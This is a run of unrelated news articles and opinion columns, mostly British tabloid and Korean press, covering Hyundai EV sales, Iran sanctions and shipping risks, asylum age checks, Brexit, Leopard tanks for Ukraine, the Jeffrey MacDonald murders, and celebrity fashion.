Earlier in her Sac State career, Stewart-James was instrumental in the design and construction of The WELL, a state-of-the-art health and fitness center that opened in 2010. She also integrated health and counseling services and led the Universitys transition to electronic health records, allowing students to more easily book appointments, view records, and message their medical providers.

Student use of the health center and mental health services soared on Stewart-James watch as she sought to create a campus culture of wellness and inclusiveness.

College health plays such a critical role in promoting prevention, eliminating barriers to access care, addressing health care equity, and treating patients holistically, she said. We are committed to meeting students where they are.

Caring for patients has always been a privilege, she said.

But my years at Sac State have been especially rewarding. I leave Sacramento State proud of our achievements, and I look forward to what is possible with new leadership.

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Hyundai Motor IONIQ 6 / Courtesy of Hyundai Motor Group



By Kim Hyun-bin



Hyundai Motor Group's global electric vehicle (EV) sales have exceeded 1 million, 11 years since the launch of its first EVs, according to the company, Tuesday.



The group's total EV sales stood at 1,022,284 vehicles last year. Hyundai Motor Company sold 601,448 vehicles, including its luxury brand Genesis, while Kia sold 420,836.





"Thanks to the support of our customers, we achieved 1 million vehicle sales. We are grateful," a Hyundai Motor Group official said. "We will continue to strive for customer satisfaction with vehicles that possess good marketability."



Its first EV  the BlueOn  began trial sales in Korea in July 2011. Its annual EV sales, which had been just a mere 236 that year, were in the thousands by 2014. It exceeded 10,000 vehicle sales in 2015 with the expansion of Soul EV sales. The sales volume doubled in 2017, centering on the IONIQ Electric model.



Since 2019, electric models of small SUVs such as the Kona Electric and the Niro EV have been performing well in the European market, resulting in a significant increase in overseas sales and pulling the annual sales figure up over 100,000.



In 2021, the group released the IONIQ 5, EV6 and GV60  EV-dedicated models with the E-GMP system  followed by the release of the first IONIQ 6 electric sedan last year, accelerating both domestic and overseas sales.



As a result, the sales volume increased by more than 100,000 cars last year compared with the previous year, thereby the cumulative number of Hyundai EVs sold has exceeded 1 million. The best-selling EV model was the Kona Electric with 256,907 vehicles sold, followed by the Niro EV with 200,302, the IONIQ 5 with 165,637 and the EV6 with 112,893.



Small commercial EVs such as the Porter Electric truck sold 45,384 vehicles and the Bongo EV sold 31,458 vehicles. Both vehicles are available only in Korea where they have shown steady sales figures.



Key models such as the IONIQ 5 and EV6 are recognized for their high marketability, ranking top in a number of evaluations by major car magazines around the world and being selected as Car of the Year in various parts of the world.



The number of Hyundai's EV models also increased from just one in 2011, the first year of EV production, to 15 last year. The production base has also expanded overseas. Its plant in China is producing models for the local market while factories in India and the Czech Republic are also producing the Kona Electric and other models. Last year, the company's Indonesian plant started producing the IONIQ 5, and this year, the electrified version of the GV70 will also be put into production at a plant in the U.S. state of Alabama.


Korean oil tanker, MT Hankuk Chemi, operated by DM Shipping, departs the Iranian port of Rajai, after being released, along with its captain, in this April 2021 file photo. Iranian authorities had seized the ship near the Strait of Hormuz in January 2021, alleging violations of environmental regulations. Courtesy of Ministry of Foreign Affairs



By Park Jae-hyuk



Korea's lingering diplomatic conflict with Iran, inflamed by President Yoon Suk Yeol's recent remarks branding the Middle Eastern country as the archenemy of the United Arab Emirates, has been mentioned as a potential threat to the Korean shipping industry, since the Korea Shipowners' Association (KSA) issued a warning last Wednesday to vessels sailing in the Persian Gulf and the Strait of Hormuz to "remain vigilant."



Just a few days after Yoon sparked the diplomatic controversy during his visit to the UAE, the KSA sent a letter to its members to warn them of growing concerns about the safety of ships sailing off the coast of Iran.



"The Islamic Revolutionary Guard Corps (IRGC) seized two Greek oil tankers in May 2022, and the U.K. is set to designate the IRGC as a terrorist group," the association said in the letter. "We ask you to be extra cautious about sailing in the Persian Gulf and the Strait of Hormuz."






Last year, when the then Home Secretary Priti Patel put forward the idea of using biological testing  such as dental X-rays, MRI scans and DNA sampling  to verify the ages of migrants suspected of lying about their age, she received the usual barrage of abuse from the Left.

It was unethical, inhumane, cruel and humiliating: just another attempt by a bigoted Government to vilify defenceless, marginalised and vulnerable people who had surely suffered enough.

Pressure groups have since poured even more scorn on the idea. Earlier this month, the scientific advisory committee tasked with considering these changes told ministers and officials that no test could predict a person's age 'with precision'.

Furthermore, the committee claimed, the 'use of biological assessments in addition to social worker interviews could increase distress'.

SARAH VINE: You know what else might cause 'distress'? The idea that a fully-grown man, a drug dealer and convicted double killer, could dupe social workers into thinking he was a 14-year-old boy. Pictured: Lawangeen Abdulrahimzai

You know what else might cause 'distress'? The idea that a fully-grown man, a drug dealer and convicted double killer, could dupe social workers into thinking he was a 14-year-old boy and end up being placed in foster care for 18 months, attending school alongside vulnerable children, before stabbing an innocent man  Thomas Roberts, a DJ and aspiring Royal Marine  to death in a drunken fit of rage over a stupid e-scooter.

That causes me considerable distress  and just imagine the pain and anguish of Thomas's loved ones.

Yet while I understand how trying it might be for genuine asylum seekers to have to prove their case, it's also not the Government's fault that people such as Lawangeen Abdulrahimzai, the scumbag in question, exist.

Indeed, if anything, it's the Government's absolute responsibility to protect the public from people like Abdulrahimzai: those who game the asylum system and ultimately do terrible harm to others.

And yet, whenever ministers try to do something about this, they are shot down by bleeding-heart liberals more interested in virtue-signalling their own woke credentials than tackling the realities of the situation, which is that people can and do take advantage. Not all the time, but in sufficient numbers to be a threat.

Had this man not got away with claiming that he was a minor, his fingerprints would have been checked against police databases, exposing his previous rejected asylum claims in Norway and Italy. Instead, not only was he allowed to remain in Britain, he was put in foster care and sent to school.

Great. Because that's just what every Year 10 parent wants, isn't it? For their child to be sitting in class alongside a violent double murderer. Unsurprisingly, Abdulrahimzai caused havoc, harassing his female classmates for indecent pictures and beating up other pupils.

Abdulrahimzai stabbed an innocent man  Thomas Roberts (pictured), a DJ and aspiring Royal Marine  to death in a drunken fit of rage over a stupid e-scooter

The mother of one boy he attacked said: 'The kids were petrified of him and knew he was much older than he was pretending to be.' Even the experienced foster carer charged with looking after him said she had 'no choice' but to accept that he was 14, despite the fact he displayed the attitude and aggression of a much older person. With hindsight, it's clear that a fair few people clocked what was going on. And yet nothing was done.

Of course not. People are too scared. Not just of Abdulrahimzai himself, but of being branded a bigot, or racist, for daring to suggest that someone presenting themselves as a victim  in Abdulrahimzai's case, of the Taliban  could be anything other than authentic.

As a society, we've become so terrified of invoking the wrath of the armies of the woke that patrol our institutions and social media  from the civil service to your local neighbourhood group  that many people are afraid to speak up.

A few years ago, for example, a woman on my ward committee in London voiced concerns about a group of migrants  all men who appeared to be in their early 20s or 30s  who were being housed by the Home Office in a local hotel.

Some of them were hanging out in the local park, smoking drugs; a number of women had said they felt anxious walking past. One claimed she had even been propositioned.

On one occasion, several residents had witnessed one of them flying into a rage, kicking the door of the hotel, smashing the glass and screaming abuse at the staff. He was angry, apparently, because his Home Office application had been delayed. Her concerns were immediately dismissed by others in the group, who all but accused her to her face of being racist. They were all, we were informed, 'lovely people'.

When I raised the issue privately with a local councillor, he told me it was simply impossible for him to pursue the matter.

In other words, he was too scared. And I can see why. If that had been a group of white scaffolders, no problem. But asylum seekers? No way.

Fortunately, in that case nothing serious ever came of it. But the errors surrounding Lawangeen Abdulrahimzai ultimately cost an innocent man his life.

According to Home Office figures, about 20 per cent of the 14,000 or so people who said they were unaccompanied children while claiming asylum in the UK between January 2018 and March 2022 were later found to be adults.

That's almost 3,000 people, mostly men. Many of them might indeed be 'lovely'. Then again, among them could also be another Abdulrahimzai.

Last week, when the Scottish Secretary blocked the SNP's gender-recognition legislation, which would allow anyone over the age of 16 the right to self-identify as the opposite sex and gain access to female-only spaces, there was fury from MPs and pressure groups claiming it was a vicious attack on trans people.

Convicted sex attackers who wind up in jail and, lo, suddenly decide to transition so they can be moved to women's wards. Left is Isla Bryson before transitioning; right is her arriving at the High Court in Glasgow on Monday

The Labour MP Rosie Duffield was insulted and heckled in Parliament. Twitter went nuts. There were even people brandishing banners in Scotland urging 'decapitate Terfs'  the slur aimed at feminists standing up for women's rights.

The argument was very similar to the one around asylum seekers: how can you subject people who have already suffered as victims to more distress?

Why should trans people  and trans women in particular  have to 'prove' themselves in order to be treated as equals? That's transphobia.

I agree: it's awful. The vast majority of trans women are no threat whatsoever to other women; indeed, I have no problem sharing a space with them. Of course they should be accepted and treated with respect.

But they're not the issue here. The issue is a small number of ill-intentioned people  aided and abetted by populist, half-wit politicians such as Nicola Sturgeon and Keir Starmer  appropriating a trans identity to gain access to women-only spaces, where they then use their superior physical strength to target vulnerable women.

Convicted sex attackers who wind up in jail and, lo, suddenly decide to transition so they can be moved to women's wards.

There are far too many examples of such individuals, people who are not sincere, just dangerous opportunists.

Just as there are far too many examples of child refugees who turn out to be neither children nor refugees, just wily criminals exploiting the system.

The sad truth is that, human nature being what it is, such people do exist. And it is the job  indeed, the duty  of Government and legislators to root them out.

Whether they're a double-murderer claiming to be an innocent child or a sex offender surfing the woke wave to enjoy better treatment in prison, the public deserves protection.

It's not unreasonable to expect a few basic boundaries to be properly enforced, nor is it racist or transphobic.

The Government's first duty is to the law-abiding majority. If that makes me a bigot, so be it.

We must all stand our ground on this one.

No wonder Rishi Sunak is thinking about raising the retirement age to 68: we learned this week that over half of households get more from the state than they pay in tax.

Someone's got to pay for all those handouts and, as ever, it looks like its going to be the ever-shrinking pool of people still actually prepared to get out of bed in the mornings. What mugs, eh?

No wonder Rishi Sunak is thinking about raising the retirement age to 68: we learned this week that over half of households get more from the state than they pay in tax

The opening of the world's newest 'ultra luxury' hotel, Dubai's Atlantis The Royal set a new standard in VDWs (Vulgar Displays of Wealth), featuring a 73 minute-long performance from Beyonce for which she was reportedly paid 19 million.

Interesting. Dubai, of course, has strict laws against same-sex relationships; Beyonce, by contrast, likes to style herself as a friend and supporter of the LGBTQ etc community.

So which is it, Mrs Carter? Or has the world just learned your price?

Boris Johnson has been mocked in the usual quarters for visiting Ukraine, but the truth is Putin is counting on the world losing sight of the situation so he can press ahead with his genocidal plan.

Boris could very easily be lounging around at home, eating metaphorical lime creams and penning his lucrative memoirs.

The fact that he's out there reminding us all of what's at stake can only be to his credit as far as I'm concerned.
Does the Labour Party secretly want to sneak this country back into the European Union without having the courage to admit it? There are good reasons for thinking so.

The official line, of course, is that no such intention exists. Sir Keir Starmer recently said there is 'no case for going back to the EU or going back into the single market'. But the Labour leader also argued for 'a closer economic relationship with the EU'  without specifying what form it might take.

Yesterday morning, Shadow Foreign Secretary David Lammy repeated this line on BBC Radio 4's Today programme. He emphatically denied that Labour has any plans to join the single market, let alone seek re-admission to the EU. Good God, no!

Yet without spelling out what he meant  Mr Lammy is a past master at waffle  he declared that Labour wants Britain to 'reconnect to our allies' and engage in a 'structured dialogue with the European Union', whatever that might entail.

Labour Party Leader Sir Keir Starmer attends a special session within the World Economic Forum (WEF) in Davos, Switzerland on January 19, 2023

Suspicions

Mr Lammy did make one concrete proposal  which is that Britain should enter a new 'security pact' with Brussels. This is telling, for as a general rule those who favour enhanced European defence arrangements also long for closer integration. Look at the President of France Emmanuel Macron, champion both of an EU defence force and a united Europe.

In fact, most EU countries are members of Nato, as is Britain, and it is a revivified Nato that has taken the lead (with one or two weak brethren, such as Germany) in standing up to Russia over Ukraine. It's hard to see how a European security pact would help  other than as a backdoor route to enable us to snuggle up to the EU. Mr Lammy's enthusiasm for such a pact should fan our suspicions.

Why is Labour privately edging back into the EU's embrace while loudly insisting that it's not doing so? The answer, surely, is that it fears alarming Red Wall voters who supported Brexit and defected to the Tories in the 2019 election. Sir Keir Starmer can't triumph in 2024 unless he wins them back.

Occasionally, though, the cat slips out of the bag. Only last month, an unidentified member of the Shadow Cabinet was reported to have said: 'Over the long run, I can see Britain being a member of the EU again.' But in Sir Keir's party  much more disciplined than under Jeremy Corbyn's leadership  such sentiments are not supposed to be uttered in public.

David Lammy, Britain's Opposition Labour Party's Shadow Foreign Secretary delivers a Speech at Chatham House in London, Britain, 24 January 2023

Meanwhile, London Mayor Sadiq Khan recently veered off script in a major speech. Like Sir Keir, he insisted that 'Brexit isn't working', but he went further by advocating 'a pragmatic debate about the benefits of being a part of the customs union and the single market'. That means we should join them as soon as practicable.

Are we seriously supposed to believe that Mr Khan was shooting his mouth off as an unrepresentative loose cannon? No, he was repeating party orthodoxy, which is intended, this side of an election, to be kept under wraps. He put himself at odds with Sir Keir  not over Labour's true policy on the EU, but over being honest about that policy.

If I'm correct, the question is what the Tories should do to counter a trick on the electorate. For polls suggest that more and more voters would like the UK to rejoin the EU. According to the latest one, 47 per cent of respondents want us to return, while 31 per cent would prefer us to stay out.

The Tories may be tempted to argue among themselves that there's no point in drawing attention to Labour's secret plan to finagle us back into the EU, or at least the single market and customs union, because that is what most people want. There is therefore no electoral advantage in highlighting Sir Keir's skulduggery.

Mayor of London Sadiq Khan is pictured

This would be a very foolish response. Labour's trickery should be exposed  and not only in order to enlighten Red Wall voters how it is intending to deceive them. To smuggle us back into the EU or its institutions would be a profound offence against democracy, which should concern us all.

Didn't a majority vote in favour of withdrawal in June 2016? Labour has previously shown that it didn't respect the outcome of the referendum by pushing for a second vote. Sir Keir was an enthusiastic supporter of that policy. So he has plenty of form in not respecting democracy.

Many people may be disenchanted with the hitherto slim  some would say non- existent  benefits of leaving the EU. But I believe that Leavers and many Remainers would be appalled if Labour's cynical ploy were successfully revealed by the Tories.

Heartache

Not only that. Whatever our opinion of the European Union, very few of us want a re-run of the squabbles that convulsed the nation for years after the referendum, causing so much division and heartache. Labour's plan must necessarily be covert for now, but it would quickly become visible if the party formed a government, and terrific arguments would ensue.

Moreover, whatever arrangement with the EU Sir Keir cooked up, Britain would inevitably be given a less advantageous deal than that which we enjoyed previously. Re-embracing the EU would lead not only to further pointless disputes at home. We would almost certainly be offered humiliating terms by our erstwhile partners.

There was much wisdom in remarks on Tuesday by CBI boss Tony Danker, a former Remainer. He argued that the pro-Brexit vote was 'never about the economy, it was about sovereignty'. He added: 'This was a choice made by the British people to say we want to be sovereign, even if that means an economic price . . . What we now need to do, post that decision, is make the British economy grow again, thrive again.'

In other words, in a sane country that respects the outcome of a once-in-a-generation democratic vote, there's no going back. But that is what Labour wants to do. It can't accept the outcome. In unspecified ways, it yearns to get close to the EU. That is not only undemocratic. It is also deeply foolish.

FILE - A Union flag waves behind a European Union flag, outside the Houses of Parliament, in London, Wednesday, Oct. 19, 2022

Foolish

The Tories are also much at fault. For they have largely failed to capitalise on Brexit. Thousands of EU laws remain on the statute book, and are only being painfully and slowly removed. Far from being Singapore-on-Thames, freed from the burden of European regulation, Britain increasingly resembles Brussels-on-Thames.

Look at what Rishi Sunak and Jeremy Hunt are proposing to do with corporation tax  raising it from 19 per cent to 25 per cent, and thereby so reducing our international competitiveness that we will fall from near the top of the league to languish close to the bottom. Are these the promised fruits of Brexit?

Brexit, in truth, was not only about sovereignty, though that was always the strongest argument. It was also about escaping the economic straitjacket of the EU. And in this the Government  so lacking in vision, though pardonably distracted by the pandemic and its damaging aftermath  has signally failed.

Labour's shenanigans over Brexit must be exposed, and there is electoral advantage for the Tories in doing so. But the best defence the Government can make for the historic path we have taken is to show the British people at last that Brexit can really work.
Olaf Scholzs reported decision to send Leopard 2 tanks to Ukraine could be the moment that finally marks the beginning of the end of this hideous war.

For too long, the German chancellor has dragged his heels over the move, ignoring the increasingly urgent demands of his Nato allies to help the Ukrainians by providing this vital hardware. Although the claims remain unconfirmed as I write, if true, the news could prove decisive.

As our former prime minister, Boris Johnson, eloquently wrote in these pages yesterday, Germanys decision on whether or not to authorise the deployment of Leopard 2 tanks was a key stumbling block in preventing a swift Kyiv victory.

So far, modern defensive weapons, ammunition and training supplied by the West have prevented Ukraine from losing.

General Lord Dannatt: Olaf Scholzs reported decision to send Leopard 2 tanks to Ukraine could be the moment that finally marks the beginning of the end of this hideous war. Pictured: a Leopard 2 tank during a Nato exercise in Latvia

But now President Zelensky and his armed forces could win on the battlefield. The war is in a stalemate. The front lines, from the Russian border in the north-east to the Black Sea, have moved little since the Ukrainian gains in Kharkiv and Kherson in the autumn.

Key to ending this impasse is the provision of effective offensive capability to take the fight to the Russians. Put simply, Ukraine needs modern main battle tanks.

Britain has once again led the way by providing a significant package of what Kyiv requires, including Challenger 2 tanks.

Others have contributed useful packages of support, but the urgent need is for main battle tanks, well-protected infantry fighting vehicles, self-propelled artillery and huge quantities of ammunition.

Yesterday, in addition to the claims surrounding Germanys Leopard 2 tanks, it was reported that the U.S. is leaning toward sending a significant number of Abrams M1 tanks to Ukraine. These would only help further.

Either way, its crucial that the tanks arrive swiftly. As Mr Johnson correctly pointed out, Putin is almost certain to launch another offensive in the late winter or early spring. Based on the poor and chaotic performance of the Russian military so far, I anticipate it will be a bloody failure and a tragedy for many Russian families.

So the next few weeks are vital for Ukraine to build up the capability to launch its own counter-offensive in the wake of Russian losses. If Mr Scholz has indeed given the green light, those tanks could move into training areas in a matter of days.

For too long, the German chancellor has dragged his heels over the move, ignoring the increasingly urgent demands of his Nato allies to help the Ukrainians. Pictured: Scholz with a Leopard 2 tank in October

This would be good enough. Leopards were designed for army conscripts, so any Ukrainian that knows their way around a tank should have no trouble adapting to them.

The Leopards will be particularly advantageous on the battlefront in Kharkiv, where the Ukrainians have the best chance of winning.

If they can smash the morale of the Russian conscripts here and break the back of the Russian army, the current fights in Soledar and Bakhmut  which are geographically challenging areas  may become easier. And though the Russians have vast numbers of conscripts at their disposal, this doesnt guarantee success.

For an army to lose, it does not necessarily have to suffer huge losses of men and equipment. Rather, it needs the individual soldier to believe that he or she has lost. When poorly led like the Russians, soldiers will vote with their feet and save their own skins.

We saw this around Kharkiv last autumn with leaks of phone calls from dejected Russian soldiers lamenting the way the war was going in the face of a swift Ukrainian counter-offensive. With some determination, Ukraine can do this once again. And they must. The positions of the two sides are irreconcilable.

President Zelensky has made it crystal clear that all the internationally recognised territory of Ukraine, including Crimea, must be returned to his country.

Meanwhile, Putin, pictured here on video link on January 24, must show to his people that he has gained something out of this war

Any less than this would represent failure.

Meanwhile, Putin must show to his people that he has gained something out of this war.

He has failed to achieve regime change in Kyiv but at the very least he must retain Crimea and ideally control the four eastern oblasts that he declared to be forever Russia.

These two positions are contradictory  which means that this war must end on the battlefield.

It is in all our interests in the West to unlock the stalemate. Otherwise neither side will prevail and the war will solidify into a paralysis akin to the western front in the First World War.

Putin will remain in the Kremlin and the West and Nato will be condemned to a lingering and expensive re-run of the Cold War.

Insecurity could pervade Europe for a generation, with no end in sight to high energy prices and a rise in the cost of living.

Berlin must realise that the future of Europe lies in its hands once again. It must send the tanks now.

General the Lord Dannatt is a former Chief of the General Staff.
The 'horrific' crimes of a former Army doctor who was convicted of killing his wife and two young daughters have been detailed in a gruesome documentary.

'Unspeakable in its brutality,' Jeffrey MacDonald was convicted in 1979 for the murders of his pregnant wife and high-school sweetheart, Colette, and their daughters, five-year-old Kimberley and two-year-old Kristen, at his family home at North Carolina's Fort Bragg in February 1970.

A federal grand jury indicted MacDonald in 1975. The 4th US Circuit Court of Appeals overturned his convictions in 1980, but the US Supreme Court reinstated them in 1982.

Despite being handed three life sentences, MacDonald has maintained his innocence for five decades, spending years launching appeals and requests for a new trial.

'Unspeakable in its brutality,' Jeffrey MacDonald was convicted in 1979 for the murders of his pregnant wife, Colette, and their daughters, five-year-old Kimberley and two-year-old Kristen

The former Army doctor married his high school sweetheart, Colette. The couple are pictured in 1969

In a documentary by Joe Sucher and Steven Fischler and shared on YouTube channel Real Women/Real Stories, MacDonald declared: 'I never hurt my family and I certainly never murdered them. I never harmed Colette, Kim or [Kristen] in any way.'

His life before the murders was described as 'almost a fairytale existence' with a 'beautiful' wife and two 'adorable' daughters.

Growing up in a middle-class suburb on Patchogue, Long Island, his high school yearbook inscription reads: 'He's full of fun, plus noise and vim, there's really no one quite like him.'

At the start of their marriage, MacDonald and Colette (nee Stevenson) weathered 'financial pressures and hardships,' but by 1970, having settled in Fort Bragg, the couple seemed to have come out the other side.

'We were in love, we were happy together. Matter of fact, Colette was pregnant with our third child, so we had, what we thought, was a very, very excellent life. We enjoyed it, it seemed safe,' the convicted killer said.

The prosecution believed the couple's oldest child, Kimberley (pictured), tried to stop the fight

They had two children together, Kimberley and Kristen, who were five and two when they died

The Fort Bragg home where Colette, Kimberley and Kristen were murdered in February 1970

In a documentary shared on YouTube channel Real Women/Real Stories , MacDonald declared: 'I never hurt my family and I certainly never murdered them.'

Colette's sister-in-law Vivian Stevenson said the mom-of-two put everyone in her life before herself.

'What Colette truly believed in was marriage, making babies and happily ever after,' she said.

But it soon turned into a nightmare in the early hours of February 17, 1970.

Prosecutors at trial said MacDonald, then a captain, used a knife and an ice pick to kill his wife and children at their house before stabbing himself with a scalpel.

MacDonald maintains he was wrongly convicted, pointing to 'drug-crazed hippies' as the killers.

But prosecutors said he donned surgical gloves and used his wife's blood to write the word 'PIG' over their bed to imitate the Charles Mansion murders that also occurred that same year.

The ice pick that prosecutors submitted as evidence during the MacDonald trial

A harrowing photo from the crime scene in the wake of the triple murder in 1970

A handcuffed Dr. Jeffrey Macdonald is led away from Federal Court in Raleigh in 1979 after he was found guilty of the murders

MacDonald (right) is pictured chatting with his father-in-law, Alfred Kassah

Prosecutor James Blackburn said in the documentary the couple had got into a fight, but they did not know why.

'We know that she was unhappy and he was unhappy,' he said.

'At some point in the master bedroom, his youngest child, Kristen, had wet his side of the bed... she (Colette) got up and they had to change the sheets.

'During the changing of those sheets of the bed, the fight erupted, and Colette and Jeffrey got into a tremendous life and death struggle.'

According to the documentary, the prosecution believed the couple's oldest child, Kimberley, tried to stop the fight and was 'accidentally knocked senseless by a blow so powerful it left her brain serum on the door frame.'

'At that point he has a wife on the ground, he has his little girl on the ground and he's saying, "Oh, this is getting out of hand," former Army investigator William Ivory said.

The prosecution then alleged MacDonald carried a 'dying' Kimberley back to her room where she was stabbed 'multiple times.'

It is thought that during this period Colette got up and went to Kristen's room, 'probably to protect her,' before being followed by her husband.

Blood seen on the carpet of one of the bedrooms in the Fort Bragg house

Prosecutors at trial said MacDonald, then a captain, used a knife and an ice pick to kill his wife and children at their house before stabbing himself with a scalpel. Pictured is the family home

Footprints seen on the wooden floor boards A 'powerful' argument against his claim that 'drug-crazed hippies' were responsible for his family's deaths was that he was the only one left alive

Despite being handed three life sentences, MacDonald has maintained his innocence for five decades

'There are blood splatters that are on the far wall in that bedroom where he hit her numerous times, you could see the overhead swings of this club,' Ivory said.

Kristen was the final family member to die, the only victim whose killing investigators believed was premeditated.

'[He was] very cool, very cold. The only time he had a little bit of wavering in him was when he talked about Kristen,' Ivory said.

Later in the documentary he says: 'It's terrible what he did to her. She was stabbed in the chest, again very straight stab wounds with a knife, and then with the ice pick, and then she was pulled probably over his lap, and stabbed in the back.'

A 'powerful' argument against MacDonald's claim that 'drug-crazed hippies' were responsible for his family's deaths was that he was the only one left alive.

A view down the hallway into one of the rooms where the killings happened

A police sketch of how one of the bodies were found in the south bedroom

Another sketch showing where another body was found, this time in the north bedroom

A master bedroom sketch that shows where Colette and MacDonald were found

'Jeffrey MacDonald is hardly injured at all. His wife has both arms broken, her face crashed (sic)... the rest of the family totally destroyed,' Blackburn said.

'MacDonald walks to the funeral, they're carried in the caskets.'

During the trial, Blackburn demonstrated how MacDonald allegedly stabbed his wife with an ice pick, which was entered into evidence.

He used a replica of MacDonald's pajama top in an attempt to 'recreate and disapprove' the doctor's version of events from that February 1970 night.

Suspect sketches show a woman in a floppy hat (left) and a man (right)

Two more police sketches of suspects that MacDonald claim were responsible

The prosecution concluded that 'the circular holes in the pajama top had been caused by MacDonald puncturing as it lay across Colette's dying body.'

'They backed the claim up by another demonstration, one that purports to prove that the holes in the top perfectly line up with the wounds in Colette's chest,' the documentary says.

But the defense did not agree.

Years after MacDonald was convicted, Fatal Vision, a true-crime book MacDonald invited Joe McGinniss to write to demonstrate his innocence, is published.

In it, McGinniss instead makes a case for guilt. MacDonald eventually wins a $325,000 breach of contract settlement. Most of the money is put in a trust.

While in jail MacDonald remarried in 2002 to the owner of a children's drama school, Kathryn Kurichh.

While in jail MacDonald remarried in 2002 to the owner of a children's drama school, Kathryn Kurichh (pictured)

In 2006, DNA testing later shows that MacDonald's hair was found in Colette's hand, and hair from an unidentified person is found under a daughter's fingernail.

MacDonald most recently appealed his conviction in 2021, but it was dismissed.

'MacDonald has filed numerous unsuccessful challenges to his murder convictions, which have been repeatedly rejected by federal courts at every level,' US Attorney's Office said at the time.

'MacDonald's latest appeal stemmed from a motion he filed in November 2020 requesting that the Court grant him "compassionate release" and reduce his life sentences.

'The United States vigorously opposed the motion in briefing and at a hearing held on March 11, 2021, arguing that MacDonald was not eligible for compassionate release and should not be let out of prison early.'
European Union foreign policy chief Josep Borrell speaks with the media as he arrives for a meeting of EU foreign ministers at the European Council building in Brussels, Jan. 23. AP-Yonhap



The European Union imposed sanctions on more than 30 Iranian officials and organizations, including units of the powerful Revolutionary Guards, Monday, blaming them for a "brutal" crackdown on protesters and other human rights abuses.



The United States and Britain have also issued new sanctions against Iran, reflecting a deterioration in the West's already dire relations with Tehran in recent months.



Foreign ministers from the EU's 27 member countries agreed the measures at a meeting in Brussels.



The sanctions targeted units and senior officials of the Islamic Revolutionary Guard Corps (IRGC) across Iran, including in Sunni-populated areas where the state crackdown has been intense, a list published in the EU's Official Journal showed.



Some EU governments and the European Parliament have made clear they want the IRGC as a whole added to the bloc's list of terrorist organizations. But the EU's foreign policy chief, Josep Borrell, noted that could only happen if a court in an EU country determined the IRGC was guilty of terrorism.



"You cannot say 'I consider you a terrorist because I don't like you'," he told reporters ahead of the Brussels talks.



The new sanctions were imposed on 18 people and 19 entities. Those targeted cannot travel to the EU and any assets they hold inside the EU can be frozen.



Relations between the EU and Tehran have spiraled downwards during stalled efforts to revive talks on its nuclear program and as Iran has moved to detain several European nationals.



The bloc has also become increasingly critical of the continuing violent treatment of protesters in Iran, including executions, and the transfer of Iranian drones to Russia.



Sweden, which currently holds the EU's rotating presidency, said the new sanctions targeted "those driving the repression."





People gather to protest against the detention of Belgian aid worker Olivier Vandecasteele in Iran, in Brussels, Belgium, Jan. 22. EPA-Yonhap
Brides who are shopping for the big day may be overlooking one crucial factor by not sitting down in their dress before buying it.

Sharon Sever, who is lead designer at couture fashion house Galia Lahav, has warned those preparing to walk down the aisle not to sacrifice comfort for aesthetic.

It is estimated that brides can spend anywhere between 10 and 12 hours wearing their wedding dress, but much of this will actually be spent sitting down.

Sharon Sever (pictured center), who is lead designer at Galia Lahav, has warned those preparing to walk down the aisle not to sacrifice comfort for aesthetic

Most brides-to-be focus on what will be the most comfortable when walking down the aisle or sharing their first dance, but they should also be considering time spent sat down during the meal, toasts and portraits.

This is why simply viewing the dress at a bridal boutique while standing in front of a mirror can never give a real indication of how comfortable this might actually feel on the day.

Sharon, originally from Israel, told the Insider: 'If a dress is uncomfortable, I don't think a bride will tend to pick that particular one.

'Unlike things that happen on the red carpet, you have to wear that dress at least half of the night.'

He added: 'I always ask a bride to sit in a dress and see if she can feel at ease.'

Buying a wedding dress can be a big commitment with the average price of a gown being $1,259 in 2023.

And with an average of 2.4 million weddings in the US every year, Sharon's advice should prove useful for thousands of future brides and save them from a costly mistake.

It is estimated that brides will spend anywhere between 10 and 12 hours wearing their dress on the big day (stock image)

Sharing even further insight for those still shopping for their dress, the fashion guru urged brides not to listen to other people and to instead trust in their own instincts.

'Every woman knows how she wants to look,' Sharon said.

'And when you're facing the mirror, you should be more attentive to your feelings and to your desires.

'When you start listening to everyone else around you, that's when mistakes happen.'

Sharon, who was recently involved in the wedding of Vanderpump Rules alum Stassi Schroeder, also told the publication that dresses in 2023 will take their inspiration from the Old Hollywood style, majoring on slits, feather detailing and heavy beading.

In a previous interview with InStyle, Sharon told brides about choosing their dress: 'I always say it's like choosing your husband - you know when it's the one. You just feel it.

'There's something that you cannot explain. Sometimes even during trunk shows, when I meet brides, I just have a feeling that this dress will match her character.

Sharon (center right, pictured alongside Galia Lahav) said that dresses in 2023 will take their inspiration from the Old Hollywood style, majoring on slits, feather detailing and heavy beading

'Even if it's not exactly what she was thinking of, there's something that happens  this magic when everything comes together. I cannot really explain it in words, but when it's right, you know.'

This is just the latest advice for those getting married this year after founder of The Bridal Journey Andie Towner previously shared some controversial predictions for 2023.

The social media star, who has amassed more than 257,000 followers for her business on Instagram, said that the list of trends that were 'out' for upcoming nuptials include the garter toss, boho themes and being walked down the aisle.
We've been crushing on Jonathan Bennett ever since he co-starred in the hit comedy 'Mean Girls' with Lindsay Lohan, where he played Aaron Samuels, one of the hottest and most popular guys in North Shore High.

Almost 20 years later, the television host and star of 'Fantasy Island' is still making our hearts go pitter-patter.

Looking better than ever, Jonathan chats with DailyMail.com about everything style, from his tried-and-true fashion formula to the best-kept Hollywood beauty secret that's been a part of his skincare regime since he was 19.

Looking better than ever, Jonathan Bennett chats with DailyMail.com about everything style, from his surprising fashion formula to the best-kept Hollywood beauty secret that's been a part of his regime since he was 19

His tried-and-true fashion formula

Jonathan relies on two fashion labels to look his best: Crocs and Express.

'My style essentials are very different than most people, I wear a lot of Crocs,' admits the 41-year-old actor.

'I am obsessed with Crocs, I think they are actually cool looking and fashionable; I have 6 pairs in all different colors and styles, I wear them everywhere - even the red carpet.

While interviewing fellow 'Mean Girls' star Lacey Chabert at Hallmark's Christmas Con, Jonathan added a festive touch to an all grey ensemble with a pair of red Crocs.

'I just got my first pair of mou today; they are so comfortable, they will be the one pair of shoes I wear other than my Crocs.'

The handsome talent was spotted in Park City, Utah, with his husband, star of MTV's 'The Real Friends of WeHo', Jaymes Vaughan, trying on mou boots and Canadian Classics outerwear.

'I am obsessed with Crocs, I think they are actually cool looking and fashionable; I have 6 pairs in all different colors and styles, I wear them everywhere - even the red carpet'

'I just got my first pair of mou, they are so comfortable, they will be the one pair of shoes I wear other than my Crocs'

Jonathan and Jaymes Vaughan both love Express fashions

Whilst Jonathan's on-trend and incredibly pulled-together ensembles may appear to be the result of luxury designer labels, his wardrobe is actually made up of attainable fashions.

'I'm obsessed with Express. Jaymes and I got married in Express tuxedos, I wear Express to host all my shows on Food Network,' he shared.

